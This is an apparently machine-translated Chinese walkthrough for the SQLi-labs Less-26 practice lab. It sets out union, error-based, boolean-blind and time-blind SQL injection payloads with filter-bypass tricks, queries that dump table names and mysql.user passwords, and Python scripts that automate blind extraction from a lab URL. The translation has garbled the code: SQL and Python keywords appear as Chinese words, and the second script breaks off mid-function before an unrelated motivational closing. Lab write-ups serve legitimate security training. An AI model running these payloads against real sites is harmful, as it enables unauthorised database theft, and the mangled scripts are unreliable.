?id=0\’union%a0select%a01,
(数据库())
,3\’
对于其他数据库删除操作,只需将下图中圈出的位置替换为您的SQL语句即可。
常用的排除语句有:
# 获取所有数据库
选择group_concat(模式名称)
来自information_schema.schemata
# 获取安全库中的所有表
选择group_concat(表名)
来自information_schema.tables
其中表模式=\’安全\’
# 获取users表的所有字段
选择group_concat(列名)
来自information_schema.columns
其中table_schema=\’安全\’ 和table_name=\’用户\’
# 获取数据库管理员用户密码
选择a0group_concat(用户,密码)
来自%a0mysql.user%a0where%a0user=\’Mitsuan\’
方式二:报错注入
有关如何使用错误注入的详细说明,请参阅我的另一篇文章。
使用错误注入详解,原理+步骤+实用教程
第一步、判断注入点
请在地址栏中输入“?id=1”
从错误信息中可以看出,注入点是单引号字符类型注入。
第二步、判断报错函数是否可用
在地址栏中输入“?id=1’anandd%a0updatexml(1,0x7e,3)anandd’”。
此页面显示错误报告功能并确认错误报告功能可用。
第三步、脱库
以您当前的数据库为例,在地址栏中键入以下内容:
?id=1\’anandd%a0updatexml(1,
连接(0x7e,
子字符串(
(数据库())
, 1, 32)
)
,3) 和\’
对于其他数据库删除操作,只需将下图中圈出的部分替换为您的SQL语句即可。
方式三:布尔盲注
有关如何使用布尔盲注的详细说明,请参阅我的其他文章。
布尔盲注如何使用详解,原理+步骤+实用教程
第一步、判断注入点
如果在地址栏中输入“?id=1’anandd’1”,页面将正常显示。
如果在地址栏输入“?id=1’anandd’0”,页面会显示异常(空)。
第二步、判断长度
以您当前的数据库为例,检查数据库名称的长度是否大于1。在地址栏中输入:
?id=1\’andd%a0
长度(
(数据库())
)1
%a0andd\’1
长度必须大于1,以保证页面正确显示且负载可用。
从1 开始,逐步确定长度,然后用脚本进行测试。
第三步、枚举字符
截取库名称的第一个字符,将其转换为ASCLL 代码,并检查ASCLL 代码是否大于1。在地址栏中输入:
?id=1\’andd%a0
ASCII (
子字符串(
(数据库())
,1,1)
)1
%a0andd\’1
字符的ASCLL 代码必须大于1,以确保页面显示正确且负载可用。
确定字符的ASCLL 代码是否按顺序等于32 到162。
确定第一个字符后,稍后使用脚本通过按顺序确定其余字符来推断解决方案。
脱库
Python自动推理脚本如下,可以根据需要进行修改。
导入请求
# 将URL 替换为您的射击场级别URL
# 更改两个对应的payload
# 目标URL(无参数)
网址=\’http://03b4acd5ef174f1cb83ca0fba018e9b7.app.mituan.zone/Less-26/\’
# 用于推断长度的有效负载
Payload_len=\’\’\’?id=1\’anandd%a0
长度(
(数据库())
)={n}
%a0anand\’1\’\’
# 用于枚举字符的有效负载
Payload_str=\’\’?id=1\’anandd%a0
ASCII (
子字符串(
(数据库())
,{l},1)
)={n}
%a0anand\’1\’\’
# 获取长度
def getLength(url, 有效负载):
length=1 # 初始测试长度为1
而True:
Response=request.get(url=url+payload_len.format(n=长度))
# 如果页面上存在该内容则表示成功。
如果响应中包含“您的登录名”。文本:
print(\’长度测试完成。长度为:\’, length,)
返回长度;
: 其他
print(\’测试长度:\’,length)
length +=1 # 增加测试长度
# 获取字符
def getStr(url, 负载, 长度):
str=\’\’ #初始表名/库名为空
# 在循环的第一级截取每个字符
: 表示范围(1, 长度+ 1) 内的l
# 循环的第二级枚举了截取该字符的所有可能性。
对于(33, 126): 范围内的n
响应=request.get(url=url+payload_str.format(l=l, n=n))
# print(\’猜猜\’, n)
# 如果页面上存在该内容则表示成功。
如果响应中包含“您的登录名”。文本:
字符串+=字符(n)
print(\’第\’, l, \’成功猜出第\’个字符: \’, str)
休息;
返回一个字符串。
# 开始猜测
长度=getLength(url, Payload_len)
getStr(url,payload_str,长度)
执行结果如下。
对于其他数据库删除操作,只需将下图中圈出的位置替换为您的SQL语句即可。
在方法1的最后,提供了常用库的删除语句。
方式四:时间盲注
有关如何使用时间盲注的详细说明,请参阅我的另一篇文章。
SQL注入时盲注入,原理+步骤+实用思路
第一步、判断注入点
如果在地址栏中输入“?id=1’anandd’1”,页面将正常显示。
如果在地址栏输入“?id=1’anandd’0”,页面会显示异常(空)。
第二步、判断长度
例如,对于我当前使用的数据库,如果数据库名称的长度大于1,则在地址栏中输入以下内容时会出现5秒的延迟:
?id=1\’andd%a0
如果(
(长度(
(数据库())
)1)
, 睡眠(5), 3)
阿南德\’1
库名称的长度必须大于1,因此页面将延迟响应5秒以确保有效负载可用。
测试长度从1开始依次增加,其余由脚本决定。
第三步、枚举字符
以我们当前的数据库为例:截取第一个字符,转换为ASCLL码,判断是否大于1。在地址栏中输入:
?id=1\’andd%a0
如果(
(ASCII(
子字符串(
(数据库())
,1,1)
)1)
, 睡眠(5), 3)
阿南德\’1
该字符的ASCLL 代码必须大于1,因此页面将延迟响应5 秒以确保有效负载可用。
按顺序判断ASCLL码是否等于(32~126)。
确定第一个字母的内容后,按顺序猜测其余字母。使用事后脚本来提高效率。
脱库
Python自动推理脚本如下,可以根据需要进行修改。
导入请求
导入时间
# 将URL 替换为您的射击场级别URL
# 更改两个对应的payload
# 目标URL(无参数)
网址=\’http://03b4acd5ef174f1cb83ca0fba018e9b7.app.mituan.zone/Less-26/\’
# 用于推断长度的有效负载
Payload_len=\’\’\’?id=1\’anandd%a0
如果(
(长度(
(数据库())
)={n})
, 睡眠(5), 3)
anand\’1\’\’
# 用于枚举字符的有效负载
Payload_str=\’\’?id=1\’anandd%a0
如果(
(ASCII(
子字符串(
(数据库())
,{n},1)
)={r})
, 睡眠(5), 3)
anand\’1\’\’
# 获取长度
def getLength(url, 有效负载):
length=1 # 初始测试长度为1
## 写在最后
**最后,我想重申一下,学习不是攀登陡峭的山峰,而是滴水穿石,日积月累。持续学习变得越来越困难,尤其是当你进入职场后。就像在浩瀚的大海上独自划船,如果你放松警惕,你可能会被大浪卷走。但对于我们程序员来说,学习是生存的基础,是在激烈的市场竞争中立于不败之地的关键。如果我们停止学习,我们就像逆水行舟;如果我们不前进,我们最终会被时间的洪流淘汰。因此,不断获取新的知识不仅提高了自己,也是对自己的一次有价值的投资。让我们不断完善自我,与时俱进,谱写辉煌篇章。 **
如果您想要完整版PDF学习资源,请私信我们。
以上#SQLi LABS Less相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92141.html